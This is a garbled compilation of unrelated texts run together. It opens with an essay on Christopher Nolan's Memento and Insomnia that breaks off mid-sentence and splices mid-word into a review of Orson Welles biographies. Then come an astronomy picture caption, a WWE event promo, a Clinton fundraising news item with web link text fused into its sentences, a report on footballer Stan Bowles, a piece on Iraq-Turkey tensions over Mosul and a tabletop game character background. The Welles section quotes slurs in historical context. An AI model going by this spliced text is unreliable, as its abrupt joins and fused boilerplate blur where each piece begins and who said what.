Nolan scraps FOLLOWING’s shaky handheld camerawork in favor of an elegant, fluid approach that favors dollies, cranes, and steadicam shots and signals his desire to merge classical filmmaking techniques with radical, almost-Cubist storytelling structures. Returning composer David Julyan serves as one of the few stylistic carryovers from FOLLOWING, crafting a brooding suite of Vangelis-style synth cues that manages to evoke old-school film noir despite its inherent electronic modernity.
MEMENTO is perhaps best-known for being “that film that plays in reverse order”, but the conceit is far from a gimmick employed to sell tickets. Building from FOLLOWING’s earlier innovations with the idea, MEMENTO solidifies the use of nonlinear storytelling devices as a major component of Nolan’s artistic aesthetic.
Just as FOLLOWING’s deceptively-random ordering of scenes proves an effective way to navigate its labyrinth of deception, so too does MEMENTO’s unique structure become a key factor in the successful telling of its story.
In order for the audience to empathize with his protagonist’s condition, Christopher Nolan felt the most appropriate course of action would be to tell the story in backwards chronological order– thus emulating, in a cinematic sense, what it would be like to have no short-term memory; deprived of crucial orientating information and context that we usually take for granted. It’s a radical idea– one that requires a delicate balance of finesse that a lesser filmmaker could easily stumble over.
Nolan wisely uses the opening titles as an opportunity to prep his audience for his unconventional storytelling, lingering over a closeup shot of a hand shaking a developing Polaroid picture — or rather, un-developing, as the audience slowly realizes they’re watching the action unfold in backwards motion.
He then shows us the immediate aftermath of Teddy’s cold-blooded execution before showing us the crucial moment itself. Its also worth noting that this opening sequence wasn’t simply shot and and then reversed in the edit suite. Nolan and company actually ran the film backwards through the camera on set– an act that reinforces his career-long commitment to capturing special effects in-camera as much as possible.
Discontent with simply presenting the film in backwards order, Nolan takes an extra step: the insertion of a parallel, forward-moving storyline that sees Leonard languishing in his motel room while talking into a telephone about his condition.
Nolan separates these scenes from the A-plot by rendering them in expressionistic black and white handheld photography, in effect creating a bridge between FOLLOWING’s scrappy shoestring style and the ambitious classical style he’d adopt for the rest of his career.
These brief, recurring interludes give us crucial bits of backstory and context about Leonard’s memory loss without subjecting us to tedious or unnecessary exposition.
However, its within these scenes that Nolan plants the seeds for MEMENTO’s big narrative twist. This pair of parallel timelines almost-effortlessly converges at the story’s apex– a transition point that Nolan marks with a color fade so subtle that many viewers tend to miss it entirely. As he did with FOLLOWING, Nolan would subsequently assemble an alternate, aprochryphal cut of MEMENTO in proper chronological order, including it as an easter egg on the film’s home video release.
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MEMENTO premiered at the 2000 Venice Film Festival to widespread critical acclaim. Executives from the major studios echoed the festival circuit’s warm embrace of the film, yet they were reluctant to claim it for distribution.
The sheer power of Nolan’s vision was undeniable, but they feared that audiences would be too confused by the backwards ordering of the film. Eventually, Newmarket Films took it upon themselves to distribute– a risky move that paid off in spades when MEMENTO debuted to healthy box office and rave reviews that hailed it as one of the most original and refreshing films in years.
Come awards season, MEMENTO took home several Independent Spirit Awards for Best Director, Best Feature, Best Screenplay, and Best Supporting Female. It would also go on to score Academy Award nominations for Nolan’s screenplay and Dody Dorn’s groundbreaking edit. All these plaudits earned Nolan the attention of fellow indie maverick Steven Soderbergh, who would soon become instrumental in helping him transition into studio pictures.
Simply put, Nolan was on the map– in a big way. He was leaving behind the independent sphere on a high note, with MEMENTO demonstrating his taut sense of control and vision while avoiding the distractions and indulgences that come with a significant leap in budgetary resources.
FOLLOWING and MEMENTO– Nolan’s breakout pair of non-linear neo-noirs— may be small in size and scope, but Nolan’s desire for larger-scale filmmaking is already apparent In their DNA. It would only be a matter of time until he made his mark in the studio realm, but no one– not even him– could’ve ever predicted just how big that mark would be.
Nolan: INSOMNIA (2002)
MEMENTO caught the eye of many established Hollywood players– most notably, actor/director George Clooney and indie iconoclast Steven Soderbergh. Their frequent collaborations together, especially as producers, cultivated a shared taste in talent, and they both saw in Christopher Nolan the perfect candidate to helm a project they had in development over at Alcon Entertainment– a remake of a Norwegian film from 1997 named INSOMNIA, about a detective investigating a grisly murder in an isolated town located so far north that the sun doesn’t set for months at a time.
Alcon’s development deal with Warner Brothers effectively meant that INSOMNIA would become Nolan’s first studio film– a testing ground to see if he really had what it took to play in the big leagues. As such, he would have to make a few concessions on the production methods he was predisposed to; namely, working from a script that was not his own.
While he would ultimately perform his own pass on credited screenwriter Hilary Seitz’s draft just prior to shooting, INSOMNIA was, more or a less, a work for hire. Nevertheless, Nolan finds plenty of artistic common ground with Seitz’s prose– enough that his first big budget effort would feel apiece with the puzzle-esque nature of his earlier work and empower him to deliver a uniquely captivating thriller on par with its Swedish counterpart.
The wet evergreen mountains of British Columbia stand in for the majestic landscape of Alaska, where a pair of LAPD detectives have been sent in to investigate the murder of a young local girl. Nolan’s successful collaboration with the likes of Guy Pearce, Carrie-Ann Moss and Joe Pantoliano in MEMENTO begets here a cast with a higher industry profile and a sterling pedigree.
Indeed, INSOMNIA begins Nolan’s enviable habit of attracting award-winning talent, boasting no less than three Oscar winners among its ensemble. Al Pacino headlines the film as Detective Will Dormer, a driven yet compromised cop besieged by an internal affairs investigation back home.
Pacino plays the part liked a subdued, run-ragged version of his character from Michael Mann’s HEAT– an aspect that no doubt wasn’t lost on Nolan, a self-styled disciple of Mann’s. A big city cop in a small frontier town, Dormer is literally and figuratively adrift in a mental fog, isolated from any semblance of a familiar surrounding and lost in a perpetual state of exhaustion thanks to a winter sun that never sets and refuses to let him sleep.
To further complicate matters, his inability to think coherently leads to the tragic accidental killing of his own partner during a raid on on the suspected killer’s hideout. The local Nightmute police investigate the circumstances of the accident, led by the doggedly determined and fiercely insightful Ellie Burr.
Hilary Swank imbues the character with a palpable sense of independence cultivated by a life lived on the outermost boundaries of civilization; the alpha to Nicky Katt’s beta– a fellow Nightmute police officer with a wispy mustache named Fred Duggar. Meanwhile, Dormer pursues his suspect, a local crime novelist named Walter Finch.
Played to chilling effect by the late Robin Williams in one of his rare serious turns, Finch uses his occupational insights into the law enforcement profession to become a formidable and unpredictable adversary to Dormer. He’s a killer, yes, but he’s not barbaric– Williams projects the same warm sense of paternal authority he had in Gus Van Sant’s GOOD WILL HUNTING, albeit turned on its ear to emphasize its innately creepy undertones.
Finch differs from other murder-thriller heavies in that his guilt is never in question– he admits his deed to Dormer openly and without shame, as if it were the most natural thing in the world. Williams’ performance is the standout of the film and, in light of his recent passing, stands as a somber reminder of the great talent we lost far too soon.
INSOMNIA is arguably Nolan’s most overlooked major work, but the impeccable quality of its craft lets it to stand toe to toe with his best efforts. It certainly helps that the lush, pristine Alaskan wilderness provides a stunning and majestic backdrop entirely unique within the larger canon of crime thrillers.
The production values afforded by studio backing amplifies the scope of Nolan’s stylistic choices, which begin to coagulate here into an identifiable aesthetic. He brings back MEMENTO’s cinematographer, Wally Pfister, in the second of what would be many more subsequent collaborations; filling the 2.35:1 35mm film frame with sweeping panoramas and earthy texture.
Working in conjunction with production designer Nathan Crowley, who would also become a key collaborator in Nolan’s filmography, they cultivate a distinct color palette comprised of stark whites, blacks, and earth tones– with the surrounding evergreens in particular evoking that particular blue-green color characteristic of the lush Pacific Northwest. Warm colors are typically avoided, concentrated mostly within the interior hotel sequences to convey a cozy, hearth-like atmosphere.
The overall effect is one of majestic beauty pervaded by gloom and unease, especially so when a heavy fog envelopes Dormer during the pivotal raid sequence. Nolan’s camerawork here is much more ambitious, perhaps even a little incongruous considering the staggering sense of scope he imposes on what’s otherwise a relatively grounded story.
His films frequently employ lofty aerials, and INSOMNIA marks the point in which Nolan’s camera finally takes flight, soaring through the dramatic vistas via a combination of helicopter mounts and cranes.
On the ground, Nolan alternates between handheld camerawork and classical dolly moves, making full use of his new toys to convey an epic scope as well as the unique cultural character of his setting.
Editor Dody Dorn and composer David Julyan round out Nolan’s returning crew, with Dorn’s expressionistic approach reprising MEMENTO’s quick-cutting technique as a means to jar the protagonist’s thoughts with flashes of violence, while Julyan’s last collaboration with Nolan moves away from the electronic nature of their earlier work to embrace a big-budget orchestral sound reminiscent of a brooding Hitchcock film.
INSOMNIA may not have initially sprung from Nolan’s mind, but his artistic character permeates every aspect of the film. As previously noted, Michael Mann is a key influence on Nolan’s aesthetic, and INSOMNIA allows the burgeoning director to play in his idol’s wheelhouse.
Aside from the shared casting of Pacino in a similar character archetype used by Mann, Nolan also evokes his spirit in the detailed and tactical accuracy imposed on even the most minute aspects of policework.
For all his virtues as a man of justice, Dormer is also profoundly corrupt; he plants evidence to justify his own version of events, and even goes so far as to cover up his role in the accidental killing of his own partner. Nolan’s interest lies in Dormer |
ibility of the masses and the unreliability of the radio medium—much as pundits fret over the Internet today. “Bedlam did reign that night, but only in newsrooms across America,” Schwartz writes. For a few days, it seemed that Welles would be punished and that the F.C.C. would implement new restrictions. In the end, though, “The War of the Worlds” had the effect of rallying opinion against censorship. Many people defended Welles’s right to run amok: it was the American way. The Campbell Soup Company signed on as a sponsor, and R.K.O. Radio Pictures invited Welles to Hollywood. As Schwartz observes, this was an ironic outcome: corporate interests proved to be a vigorous censor of unorthodox ideas.
“Kane” was not Welles’s first movie. Among several early attempts, the most notable were silent-film segments that he shot as a supplement to a Mercury production of William Gillette’s farce “Too Much Johnson.” The footage went unused because of logistical difficulties, and later disappeared. Inexplicably, it turned up a few years ago, at a warehouse in Pordenone, Italy. As Richard Brody has pointed out on newyorker.com, the film pays tribute to the slapstick of Mack Sennett and Harold Lloyd but also anticipates future Welles imagery: extreme low-angle shots frame Joseph Cotten against the Manhattan skyline. The footage undercuts the assumption that Welles’s cinematic style was formed under the tutelage of Gregg Toland, the virtuoso cinematographer of “Kane.” McGilligan ends his book just as Welles begins shooting “Kane,” but he gives a lucid account of the film’s origins, correcting the impression given in Kael’s “Raising Kane.” (In 1978, the scholar Robert Carringer dismantled the idea that Mankiewicz should be considered the sole author of “Kane,” but the notion has not died out.) Mankiewicz supplied the central conceit of a newspaper tycoon modelled on William Randolph Hearst, but many motifs are drawn from earlier Welles projects. A play called “Marching Song,” which he wrote with Roger Hill, is framed as a journalistic quest to understand a contradictory historical figure (in this case, John Brown); in an unfilmed script titled “The Smiler with the Knife,” a right-wing tycoon is introduced, as in “Kane,” with a newsreel. Mankiewicz invented vibrant characters and dialogue, but the first draft, titled “American,” meanders. Welles’s revision is a savagely deft feat of editing in which scene after scene comes alive through ingenious compression. In a famous sequence of cuts, Mr. Thatcher, Charles Foster Kane’s guardian, is seen exclaiming, “Merry Christmas... and a Happy New Year!” There is a jump of nearly two decades in the middle of the phrase. Members of the adversarial camp assert that, after “Kane,” Welles fell victim to self-indulgence. In late 1941 and early 1942, he filmed “The Magnificent Ambersons,” an ethereally melancholy story of a Midwestern family in decline. It should have been his magnum opus, but, we are told, Welles absconded to Brazil before he was done with it, frittering away money on “It’s All True,” an omnibus film emphasizing racial and cultural multiplicity in Latin America. The studio that financed Mercury Productions, R.K.O., lost patience and shut down the operation. “There was never a movie there, only an extravagant, self-destructive gesture,” David Thomson writes in his 1996 book, “Rosebud.” Meanwhile, “Ambersons” was drastically re-cut and re-shot without Welles’s participation. Catherine Benamou’s 2007 book, “It’s All True,” a masterpiece of scholarship, presents the Latin-American project as visionary filmmaking, austere in its technique and radical in its politics. It arose not from idle fancy but from a wartime imperative: the Roosevelt Administration was worried about Fascist incursions in South America, and kept a close eye on Getúlio Vargas, Brazil’s authoritarian President. Welles initially went to Brazil to film the Carnaval in Rio; R.K.O. and the Brazilian government expected a colorful entertainment, suitable for propaganda. But he became fascinated by the story of the jangadeiros—four raft fishermen, from the north of Brazil, who, the previous year, had sailed sixteen hundred miles along the coast to Rio, dramatizing the need for improved labor conditions. Welles also embraced Brazilian culture, becoming aware of the Afro-Brazilian origins of samba. He emerged with an ambitious plan for a musical-cultural-political overview of Brazilian life. Benamou gives a sense of what the samba sequences would have been like. In one, we see musicians in a favela playing “Se Alguém Disse”; then we cut to a high-class night club, where the same tune is heard in a polished, radio-ready version. Other scenes would have revolved around the song “Adeus, Praça Onze” (“Farewell, Square Eleven”), the hit of the 1942 Carnaval. It told of a plan to pave over a plaza in Rio that was beloved by samba players. Too much color footage is lost to permit a full reconstruction of these scenes. But in 1993 a documentary also titled “It’s All True”—initiated by Welles’s longtime associate Richard Wilson—presented rich-hued, shadow-drenched Technicolor shots of the Carnaval that are unlike the clean, bright palette of “The Wizard of Oz” and other early color films. This film essay on race, inequality, and gentrification failed to please R.K.O., whose strategy of making “prestige” pictures was foundering in wartime. An on-site R.K.O. representative named Lynn Shores was bothered by Welles’s habit of turning his cameras toward the darker, poorer faces of Brazil. According to one memo, Shores went around complaining that the “whole thing’s about a bunch of niggers.” Benamou establishes that Shores’s reports to R.K.O. misrepresented the filming schedule in order to portray Welles as irresponsible. By July, 1942, Mercury Productions had lost R.K.O.’s support, but Welles lingered in Brazil, stubbornly filming the jangadeiros sequence. That May, Jacaré, the charismatic leader of the fishermen, had drowned during filming; Welles, determined to honor him, carried on with Jacaré’s brother as a stand-in. Welles made do with a crew of five and a budget of ten thousand dollars. Lacking electricity on location, he worked in natural light. Far from being inhibited by these limitations, he thrived on them, extending the guerrilla mode of making pictures that he had tested with “Too Much Johnson.” In a funeral scene, long lines of figures wend their way along a hill, against a brilliant clear sky. In one shot, you see the trudging feet of mourners in the foreground while those on the ridge behind move in the opposite direction—the kind of visual counterpoint that makes Welles’s films an elemental joy to watch.
Simon Callow is an actor-director-author whose polymath panache rivals Welles’s, and as his immense biography has inched forward it has undergone an evolution. The epic has been told with unstinting verve, but the first volume suffered from an admonishing tone, spotty acknowledgment of political context, and an overreliance on Houseman’s embittered testimony (the partnership ended in 1941). The second volume, “Hello Americans,” which appeared in 2006 and covered the years 1941 to 1947, highlighted Welles’s predicament as an engaged artist in an increasingly hostile environment. Notwithstanding Welles’s myriad flaws—his bombast, his temper, his disdain for the realities of money, and, most damaging, his habit of going into hiding when crisis loomed—Callow has come to see the latter part of the career as “a tale of heroism, not of self-destruction.” When Welles returned from Brazil, he was seething with political rage, and the fury endured until he went into European exile, in 1947. Popular Front values were in retreat, but Welles persisted in articulating them. His boldest statements came on a short-lived radio show called “Orson Welles Commentaries.” In early 1946, a black veteran named Isaac Woodard, Jr., had been beaten and blinded by the police chief of Batesburg, South Carolina. A few months later, Welles read aloud Woodard’s affidavit on the air and then addressed the sheriff, whose name was not yet known, in the manner of a Shakespearean comic-book avenger: “Wash your hands, Officer X, wash them well. Scrub and scour. You won’t blot out the blood of a blinded war veteran.... You’ll never wash away that leprous lack of pigment, the guilty pallor of the white man.” After several more broadcasts on this theme, the show was cancelled. Welles’s films took a turn toward the baroque, the circus-like. The storied fun-house shoot-out at the climax of “The Lady from Shanghai” (1947)—in which Rita Hayworth, Welles’s second wife, plays a luridly blond femme fatale and Welles her naïve Irish stooge—is an almost comically blatant assault on the Hollywood dream factory. Mirror images of the stars shatter as bullets fly. Welles’s film of “Macbeth” (1948) presents a calculatedly cold, vicious version of Shakespeare, with stagey whispers and bloodcurdling screams echoing in a cavernous acoustic space. During this period, Laurence Olivier was winning acclaim for his well-schooled adaptations of “Henry V” and “Hamlet.” As the scholar Michael Anderegg has observed, Welles’s unruly and anarchic Shakespeare was out of step with Cold War middlebrow culture. Scholars debate whether Welles’s departure for Italy, in the late forties, was impelled by the approaching McCarthyite storm. Most likely, the possibility of being called before the House Un-American Activities Committee played a role. Welles became a gypsy artist who never tied himself to one place or institution for long. More often than not, he financed projects with acting paychecks. He returned to America for brief periods—notably to make “Touch of Evil” (1958), his definitive denunciation of police brutality against minorities—but could not regain his footing in Hollywood. Callow’s latest book, “Orson Welles: One-Man Band” (Jonathan Cape/Viking), covers the gypsy years. The biographer summons his subject with easy authority, his descriptions poised between sympathy and skepticism: “One senses something archaic about him. He behaves like some great tribal chieftain, a warlord of art, riding roughshod over the niceties of conventional behavior, sometimes sulking in his tent, sometimes rousing his people to great heights, now making huge strategic decisions off the cuff, now mysteriously absenting himself.” As before, Callow is especially good at evoking Welles’s theatre work. There are lively pages on the 1955 production “Moby-Dick Rehearsed,” which depicted a nineteenth-century theatre troupe preparing a stage version of Melville’s novel, and on a 1950 Faust revue that featured Eartha Kitt as Helen of Troy, and music by Duke Ellington. Such projects veered between triumph and catastrophe, sometimes on the same night. Callow notes that at one performance of “King Lear,” in New York, Welles’s bellowing on the heath included the words “John! John!! John!!! Switch sixteen is not on!” There are many delights in Welles’s European films—the knotty whimsy of “Mr. Arkadin,” the florid weirdness of “The Trial”—but Shakespeare elicited his best. “Othello,” an unusually tortuous undertaking, which began in 1948 and was finished in 1951, somehow achieves a commanding stylistic unity, with airy, luminous vistas set against dank, claustrophobic interiors. Welles plays Othello, and the contained violence of the portrayal suggests a man hyper-conscious of how he is being seen, particularly as a black person in a white society. In “Chimes at Midnight,” Welles assumes the role of Falstaff, which he had first played in his youth. As Callow writes, it is one of Welles’s “richest, most detailed, most human performances.” The devastation that passes over his face in the rejection scene from “Henry IV, Part 2”—“I know thee not, old man: fall to thy prayers”—hints at Welles’s own humiliation by worldly authorities. But the most resonant scene is the Battle of Shrewsbury—a quick-cut barrage of mayhem that devolves into unsightly images of bodies twitching in mud. At the time, the Vietnam War was escalating, and the political message was clear: war has always been a quagmire.
“Artists do their best work when they’re old or young,” Welles once told his younger colleague Peter Bogdanovich. “Middle age is the enemy of art.” Welles never got to have a full-fledged late period: in the twenty years after “Chimes,” he was unable to complete a feature-length narrative film. But you can see a late style emerging if you plunge into the trove that he left behind: “F for Fake” and other smaller-scale efforts; scripts in the Michigan archive; conjectural versions of several unfinished films, realized by Stefan Droessler, of the Munich Film Museum; and fragments of “The Other Side of the Wind,” which circulate among fans. The film historian Joseph McBride, in his 2006 book, “What Ever Happened to Orson Welles?,” calls Welles’s final decades a “period of great artistic fecundity and daring,” one that placed new emphasis on the disordering power of sexual desire. Welles was by then on his third marriage, to the Italian actress Paola Mori. (Their daughter, Beatrice, manages his estate.) He had also entered into a close relationship with the Croatian sculptor and actress Oja Kodar, who became his co-screenwriter and chief collaborator. Kodar helped to bring about a burst of sensuality in Welles’s work. The shift is first seen in “The Immortal Story,” an hour-long film based on an Isak Dinesen tale, which was shown on French television in 1968 and is now finally available on DVD and Blu-ray. The Wellesian baroque gives way to an aesthetic of long-held shots, nocturnal stillness, and softly glowing colors. The central sex scene, between characters played by Jeanne Moreau and the young British actor Norman Eshley, is never explicit, and yet it achieves a voluptuous intensity at its climax, with Eshley arcing his body upward and Moreau gasping. As so often in Welles’s work, the imagery is accented by the sound: amid the noise of writhing bodies, we hear an ostinato of crickets. The vortex of desire is at the center of “The Other Side of the Wind,” which occupied Welles from 1970 to 1976. Josh Karp’s “Orson Welles’s Last Movie: The Making of ‘The Other Side of the Wind’ ” (St. Martin’s) gives a dynamic account of the film’s making and eventual undoing. The principal character is Jake Hannaford, played by John Huston—a bigoted, reactionary director who is trying to ape the latest trends. His film-in-progress, also called “The Other Side of the Wind,” is a languid enigma in the manner of Antonioni, with Kodar cast as a Native American radical. Hannaford has a history of discovering, befriending, and discarding young male actors; the latest is an androgynous youth named John Dale (played by Bob Random), who is subjected to emasculating directorial insults while filming his sex scenes with Kodar’s character, and ends up walking off the picture. The plot unfolds on Hannaford’s seventieth birthday, as colleagues, critics, documentarians, and hangers-on—including a Bogdanovich-like younger director, played by Bogdanovich—gather to celebrate him. Before dawn, Hannaford dies in a mysterious car crash, as his unfinished movie plays at a deserted drive-in. The question of Hannaford’s sexuality smolders throughout. In one provisional sequence, Hannaford gay-baits Dr. Burroughs, an effete, elderly schoolmaster who once taught Dale. For a while, Burroughs holds his own, archly noting Hannaford’s own “personal interest” in the young man. Hannaford splutters with rage, his face blackened by shadow—a device familiar from “Kane.” With a sadistic grin, he invites Burroughs to go for a swim, and orders him to undress. “I suppose all schoolteachers are prigs,” the affronted teacher says. “I suppose,” Hannaford answers. “Prigs, or faggots.” Huston’s icy, raw, alcohol-fuelled performance exposes the psychological violence at the root of power. If Welles had pulled it off, “Wind” would have been a death-defying trick: a comeback picture about a doomed director who can’t finish his comeback picture. By 1975, he had shot the script and edited forty-two minutes of film; but, having spent hundreds of thousands of dollars of his own money, he needed additional funds to complete the job. That year, he received a Life Achievement award from the American Film Institute, and he showed a few scenes, hoping for offers of end money. None came—unsurprisingly, Karp notes, since the excerpts betrayed disdain for Hollywood. Meanwhile, Welles quarrelled with his producers, the Paris-based Astrophore company, which was headed by Mehdi Boushehri, a brother-in-law of the Shah of Iran. Four years later, the Shah was deposed, and the film entered legal limbo; at one point, representatives of Ayatollah Khomeini threatened to seize it. After Welles’s death, in 1985, Bogdanovich and other Welles associates made attempts to complete “Wind,” but disputes over rights and financing kept getting in the way. Finally, last year, a team led by Bogdanovich and the producers Frank Marshall and Filip Jan Rymsza secured the Astrophore interest and seemed to win agreement from Kodar and other parties. There have been further delays, but preparations continue. In the world of Welles, nothing ever goes according to plan. Even when work on “Wind” begins, daunting challenges will remain. In each of his films, Welles found a distinct editing tempo, suited to its themes. His “Wind” scenes suggest two tempos interwoven. The birthday party has a frenzied, scrambled energy; 16-mm. film, Super 8, video, and stills are interspliced, representing the different media eyes trained on Hannaford. The cutting is sometimes dizzyingly rapid, incorporating multiple takes. Gary Graver, Welles’s cinematographer in the later years, recalled him shouting, “Fast! Fast! Don’t bore anyone!” The film-within-a-film, shot in 35-mm. Kodak Eastmancolor, is more luxuriously paced. Although it was conceived as a parody, it contains wondrous images. A sex scene shot in a car, in which Random writhes with Kodar as rain streams down the windows, is among Welles’s most astonishing feats. No one can know exactly how he would have handled this interplay of rhythms, but even a speculative version will show a febrile creative imagination.Astronomy Picture of the Day Discover the cosmos! Each day a different image or photograph of our fascinating universe is featured, along with a brief explanation written by a professional astronomer. 2012 February 8
Explanation: This moon is shining by the light of its planet. Specifically, a large portion of Enceladus pictured above is illuminated primarily by sunlight first reflected from the planet Saturn. The result is that the normally snow-white moon appears in the gold color of Saturn's cloud tops. As most of the illumination comes from the image left, a labyrinth of ridges throws notable shadows just to the right of the image center, while the kilometer-deep canyon Labtayt Sulci is visible just below. The bright thin crescent on the far right is the only part of Enceladus directly lit by the Sun. The above image was taken last year by the robotic Cassini spacecraft during a close pass by by the enigmatic moon. Inspection of the lower part of this digitally sharpened image reveals plumes of ice crystals thought to originate in a below-surface sea.Don't miss the return of WarGames when NXT TakeOver comes to the Toyota Center in Houston on Nov. 18. Get tickets now at NXTTickets.com.
NXT TakeOver: WarGames is coming to Houston.
The next edition of NXT’s acclaimed series of WWE Network special events, TakeOver: WarGames, emanates from the Toyota Center in Houston on Saturday, Nov. 18, on the eve of the 30th annual Survivor Series.
WWE COO Triple H made the announcement on Twitter:
For the first time in nearly 20 years...#NXTTakeOver: WarGames
Nov. 18 ONLY on the @WWENetwork
Tickets on sale 10/13 at 10am CT. pic.twitter.com/qt8gJULShi — Triple H (@TripleH) October 5, 2017
Tickets for TakeOver: WarGames are available now, exclusively at www.NXTtickets.com.
The WarGames name was made famous in sports-entertainment as one of the premier match types in the NWA and, later, WCW. Nicknamed "The Match Beyond," WarGames was a battle between teams that was fought in two rings enclosed by a steel cage. The first WarGames was held during the NWA’s 1987 Great American Bash tour.
The NXT Universe already knows that at least one new champion will be crowned on Nov. 18, as Kairi Sane, the winner of the inaugural Mae Young Classic, and Peyton Royce will compete in a Fatal 4-Way Match for the vacant NXT Women’s Title. Though their other opponents will be revealed in the weeks ahead, the battle to decide the new NXT Women’s Champion guarantees history will be made inside the Toyota Center.
Don’t miss out on witnessing NXT TakeOver: WarGames live and in person!Hillary Clinton Hillary Diane Rodham ClintonREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails County GOP in Minnesota shares image comparing Sanders to Hitler Holder: 'Time to make the Electoral College a vestige of the past' MORE on late Tuesday began fundraising off Donald Trump Donald John TrumpREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails Trump urges North Korea to denuclearize ahead of summit Venezuela's Maduro says he fears 'bad' people around Trump MORE’s new status as the Republican presidential nominee.
“Donald Trump just became the Republican nominee,” she tweeted. "Chip in now to make sure he never sets foot in the Oval Office.”
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Clinton’s tweet included a link to a fundraising page asking for a variety of amounts towards her Democratic presidential bid.
“Donald Trump is the official Republican nominee,” the fundraising page said. "It’s up to us to stop him.”
The Clinton campaign’s website lets donors provide contributions of $3, $5, $10, $25, $50, $100 or $250. It also has a space for entering an unspecified “other” amount.
The Republican Party officially nominated Trump for the presidency earlier Tuesday during its convention in Cleveland.
Trump officially secured the 1,237 delegates needed for that honor after his home state of New York cast 89 votes in his direction.
Clinton, the presumptive Democratic nominee, is likely becoming her party’s official standard-bearer during its own convention in Philadelphia next week.QPR legend and former England player Stan Bowles has developed a form of Alzheimer's, his family say.
Bowles, 66, spent seven years at the west London club, winning five caps for his country during two decades as a professional footballer.
But his family released a statement on Saturday to confirm that he has developed the illness, making it difficult to sign autographs for fans.
Stan Bowles, who spent most of his career at QPR, has now been diagnosed with a form of Alzheimer's
Bowles, who won five caps for England and scored once for his country, in action for QPR in the 1970s
'We are writing this on behalf of our father Stanley Bowles,' they wrote. 'We would like it to be known that our father has unfortunately developed a form of alzheimers.
'Consequently he finds it extremely difficult to sign autographs etc. We would be grateful for anyone who comes in contact with our father to show some understanding of his condition.
'We have on behalf of our father been grateful that fans still show interest in him and would be grateful that anything regarding him is played low key.
'We will continue his Facebook page and hope you will continue to share your memories thanking you in anticipation.'
QPR tweeted their best wishes, writing: 'The thoughts of everyone at the club are with Stan Bowles following confirmation that he has developed a form of Alzheimer's.'
Bowles, now 66, 'finds it extremely difficult to sign autographs' according to his family
Bowles strides away confidently after netting against Manchester United in January 1974
Martin Peters, Phil Parkes, Bowles, TRevor Brooking, Dave Watson and Duncan McKenzie
The thoughts of everyone at the club are with Stan Bowles following confirmation that he has developed a form of Alzheimer's... — QPR FC (@QPR) June 20, 2015Iraq and Turkey are threatening to go to war with each other over who should hold power in Mosul and the surrounding region after the defeat of Isis. Turkish tanks and artillery have deployed along the border and Iraqi Prime Minister Haider al-Abadi has said that while Iraq “did not want war with Turkey” it is ready to fight one if necessary.
The confrontation is sharpening as the Iraqi Army enters eastern Mosul and Shia militia known as the Hashd al-Shaabi advance towards the town of Tal Afar, threatening to cut Isis’s last escape route from Mosul to Syria. Turkey sees itself as the protector of the Sunni Arabs of Mosul and northern Iraq, a community left vulnerable by the likely defeat of Isis by Shia and Kurdish forces backed by US-led airpower.
The dependence of the anti-Isis forces on air strikes and drones was underlined on Wednesday when Iraqi Special Forces delayed their advance into east Mosul because high humidity and clouds made it difficult for aircraft to identify and attack targets on the ground. They had entered the industrial suburb of Gogjali on Tuesday and were Wednesday going from house to house looking for Improvised Explosive Devices (IEDs) and booby traps.
The population of Mosul east of the Tigris River, which divides the city in half, has in the past consisted largely of well-educated professional people such as doctors and engineers, few of whom are likely to be sympathetic to Isis. Residents in the east say they expected Isis to withdraw to the western side of Mosul, which is more sympathetic to them, crossing the five bridges spanning the Tigris which, the residents say, have been rigged with demolition charges.
The Iraqi government reacted angrily to the possibility of Turkish intervention. “The invasion of Iraq will lead to Turkey being dismantled,” said Mr Abadi at a news conference in Baghdad on Tuesday. “We do not want war with Turkey, and we do not want a confrontation with Turkey, but if a confrontation happens, we are ready for it.” He added that Iraq would consider Turkey as an enemy and would deal with it as an enemy.
The exchange of abuse between Ankara and Baghdad continued on Wednesday when Turkish Foreign Minister Mevlut Cavusoglu denounced Mr Abadi as “weak”, asking: “If you have the strength, why did you surrender Mosul to terror organisations? If you are so strong, why has the PKK occupied your lands for years?” Earlier Turkey’s deputy prime minister Numan Kurtulmus had tried to lower the temperature by saying that the military build-up was a precaution and not a threat.
ORDER IT NOW
Iraqi leaders in Baghdad have long privately blamed Turkey for aiding or tolerating al-Qaeda-type movements like Isis which operated in Iraq, but the ill-will is now becoming more public on both sides. On 11 October President Recep Tayyip Erdogan launched a furious tirade against Mr Abadi, saying: “He insults me. You are not on the same level as me! You are not my equal! Scream all you want from Iraq! It will not change anything! We will do what we want to do.” On 23 October, Mr Erdogan further raised the stakes by asserting Mosul has historically belonged to Turkey and it should therefore play a role in determining its future.
Turkey already has 700 troops at a base in Bashiqa, north of Mosul, and has been training a Sunni Arab militia force of former policemen from Mosul numbering about 2,500. This force is probably not big enough to make Turkey a player in the struggle for the city and political observers in Irbil believe Turkey will not intervene militarily. But this could change if the Hashd attack Tal Afar, whose Turkman population is about 80 per cent Sunni and which is the home town of many Isis commanders, judges and religious police. Turkey would also be energised if the PKK was visibly benefiting from developments in and around Mosul. Another more cynical interpretation of Turkey’s focus on Mosul is that it is to divert attention from its muted response to the Syrian and Russian assault on East Aleppo.
The fall of Mosul is likely to give birth to a series of crises because the province of Nineveh, of which it is the capital, is a mosaic of warring sects and ethnic groups. After years of war these are divided by deep hatreds, with Yazidis, Kurds and Christians all accusing their Sunni Arab neighbours of complicity in Isis massacres. In Nineveh Plain most of the Sunni Arabs have fled into Mosul city fearing revenge from returning Christians and the Shabak minority who are largely Shia.
Revenge is taking place within sectarian and ethnic groups, some of whom joined Isis while others fought it. Amnesty International says that pro-Iraqi government Sunni tribal fighters taking part in the Mosul operation are carrying out revenge attacks on men and boys in “liberated” areas suspected of belonging to Isis. Fighters from the Sabawi tribe, originally from Mosul, are said by Amnesty to have illegally detained civilians, beaten them with metal rods, given them electric shocks and tied some of them to the bonnets of vehicles and paraded them through the streets while others were placed in cages, according to interviews with local officials and eyewitnesses. Many people displaced from Mosul and surrounding towns and villages say they will not return home until security is restored and this is still a long way off.Background: Doctor
You are a well-trained and studied healer. Your knowledge of anatomical science allows you to cure diseases, mend injuries, and nurse the ailing back to health, even if you lack the ability to cast healing magic. Your talents might bring you fame and renown, or you might be regarded with suspicion by the common people.
When you choose this background, work with your DM to determine the role and prominence of doctors in the campaign. Is knowledge of nonmagical madicine common or rare? Are you one of many members of a respected medical association, or are you one of a rare few individuals educated in medicine? Were you self-taught, apprenticed to a village healer, or educated at a medical academy?
Skill Proficiencies: Medicine, Persuasion
Tool Proficiencies: One type of gaming set, herbalism kit
